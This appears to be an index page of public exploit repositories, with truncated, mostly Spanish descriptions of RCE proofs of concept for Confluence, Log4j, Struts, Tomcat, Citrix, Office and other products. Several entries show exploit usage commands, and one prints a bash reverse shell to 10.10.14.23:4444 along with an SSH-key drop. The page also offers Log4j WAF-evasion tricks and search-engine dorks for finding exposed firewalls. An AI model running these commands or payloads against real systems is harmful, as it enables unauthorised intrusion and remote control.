CVE-2025-47812

CVE-2025-47812 – Wing FTP Server RCE mediante Inyección de Lua Autor: 0xgh057r3c0n 🧠 Descripción Este exploit aprovecha una vulnerabilidad de inyección de Lua en el manejador de inicio de sesión loginok.html de Wing FTP Server para ejecutar comandos arbitrarios del sistema operativo u obtener una...

CVE-2023-46604-RCE

CVE-2023-46604-RCE Vulnerabilidad Una vulnerabilidad de deserialización en el unmarshaller del transporte OpenWire en Apache ActiveMQ. Las versiones afectadas incluyen 5.18.0 hasta 5.18.2, 5.17.0 hasta 5.17.5, 5.16.0 hasta 5.16.6, y todas las versiones anteriores a 5.15.16. Configuración Cambia l...

CVE-2024-53677

CVE-2024-53677 - Entorno de reproducción de la vulnerabilidad de ejecución remota de código RCE en Apache Struts 2 Este repositorio proporciona un entorno basado en contenedores para reproducir la vulnerabilidad CVE-2024-53677 en Apache Struts 2. Esta vulnerabilidad implica un path traversal y...

CVE-2023-22047

Description: CVE-2023-22047 is unauthentication read file on oracle-peoplesoft. However, advance exploit attacker can use this vulnerability to execute remote code execution. In the peoplesoft application "Portal.war"," Serlet "WSRP Consumer ResourceProxy" enables the ability to read files and ma...

CVE-2021-21972

CVE-2021-21972 comprobador Vulnerabilidad de ejecución remota de código CVE-2021-21972 en VMware vCenter Server Este script comprueba la existencia de la CVE-2021-21972 basándose en la siguiente RUTA "/ui/vropspluginui/rest/services/uploadova" mediante una petición POST y buscando en el cuerpo de...

CVE-2023-41425

CVE-2023-41425 Descripción Una vulnerabilidad de Cross Site Scripting en Wonder CMS Versión 3.2.0 a Versión 3.4.2 permite a un atacante remoto ejecutar código arbitrario mediante un script manipulado subido al componente installModule. Esta es una versión modificada del exploit original de...

CVE-2021-40444

CVE-2021-40444 totalmente armamentizado Generador de docx malicioso para explotar CVE-2021-40444 Ejecución remota de código en Microsoft Office Word, funciona con archivos DLL arbitrarios. Actualización 31/05/2022 - CVE-2022-30190 - Follina Ahora el generador puede crear el documento necesario pa...

Exploits_CVE-2019-19781

Exploit de Ejecución Remota de Código CVE-2019-19781 - Citrix Application Delivery Controller & Gateway Exploit de Ejecución Remota de Código para Citrix Application Delivery Controller y Citrix Gateway CVE-2019-19781 Uso : bash CVE-2019-19781.sh IPDELHOSTVULNERABLE COMANDOAEJECUTAR ej : bash...

CVE-2022-26134

CVE-2022-26134 CVE-2022-26134 - RCE Pre-Autenticación en Confluence | Inyección OGNL Descargar script PoC git clone https://github.com/crowsec-edtech/CVE-2022-26134 cd CVE-2022-26134 Ejecutar exploit USE: python3 exploit.py https://target.com CMD Ex: python3 exploit.py https://target.com id Ex:...

CVE-2024-36401

CVE-2024-36401 Vulnerabilidad de Ejecución Remota de Código RCE en la evaluación de expresiones de nombres de propiedades GeoServer es un servidor de código abierto que permite a los usuarios compartir y editar datos geoespaciales. Antes de las versiones 2.23.6, 2.24.4 y 2.25.2, múltiples...

CVE-2025-55182

CVE-2025-55182 Reglas de detección basadas en el host para la vulnerabilidad RCE en el framework React JavaScript...

CVE-2018-20580

CVE-2018-20580 Una prueba de concepto para la ejecución remota de código en ReadyAPI 2.5.0/2.6.0 con interacciones. Introducción En diciembre de 2018 encontré una nueva vulnerabilidad en ReadyAPI. Permite a un atacante ejecutar código remoto en la máquina local, poniendo en peligro a los usuarios...

CVE-2022-24086-RCE-PoC

CVE-2022-24086 RCE POC Acerca de CVE-2022-24086, que Adobe vio siendo "explotado en la naturaleza en ataques muy limitados", recibió una puntuación de gravedad de 9.8 sobre 10, y los adversarios que lo explotan pueden lograr la ejecución remota de código en los sistemas afectados sin necesidad de...

CVE-2024-3400-RCE-Scan

Dork de Mapeo del Ciberespacio Fofa app="paloalto-GlobalProtect" https://en.fofa.info/result?qbase64=YXBwPSJwYWxvYWx0by1HbG9iYWxQcm90ZWN0Ig%3D%3D Zoomeye app:"Palo Alto Networks firewall httpd"...

CVE-2024-47533

Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'mkdir -p...

CVE-2018-8172

CVE-2018-8172 Vulnerabilidad de ejecución remota de código CVE-2018-8172 en Microsoft Visual Studio http://darkcert.com/2018/08/microsoft-visual-studio-remote-code-execution-cve-2018-8172/ https://twitter.com/SyFi2k...

RCE_CVE-2024-7954

RCECVE-2024-7954 Descripción: El plugin porteplume utilizado por SPIP anterior a 4.30-alpha2, 4.2.13 y 4.1.16 es vulnerable a una vulnerabilidad de ejecución de código arbitrario. Un atacante remoto no autenticado puede ejecutar PHP arbitrario como el usuario de SPIP enviando una solicitud HTTP...

CVE-2021-44228-Log4j-lookup-Rce

0x01, Entorno Jdk7u21（cualquier versión sirve） Versiones afectadas: Apache Log4j 2.x org.apache.logging.log4j log4j-core 2.11.1 Poc import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class test2 private static Logger LOGGER = LogManager.getLogger; public...

CVE-2025-24813-PoC-Apache-Tomcat-RCE

Apache Tomcat CVE-2025-24813 Prueba de Concepto PoC Una prueba de concepto de exploit para la vulnerabilidad de deserialización en Apache Tomcat CVE-2025-24813. Esta herramienta demuestra cómo los atacantes podrían explotar la deserialización insegura en la gestión de sesiones de Tomcat...

CVE-2021-44228-PoC-log4j-bypass-words

🤝 Muestra tu apoyo - da una ⭐️ si te gustó el contenido | COMPARTIR en Twitter | Sígueme en 🐱‍💻 ✂️ 🤬 Exploit de Java LOG4J - Trucos para evadir WAF y parches 📝 Descripción CVE-2021-44228 funciona en: log4j: 2.0 = Apache log4j = 2.14.1 Versión de Java ya parcheada: 6u211+, 7u201+, 8u191+, 11.0.1+...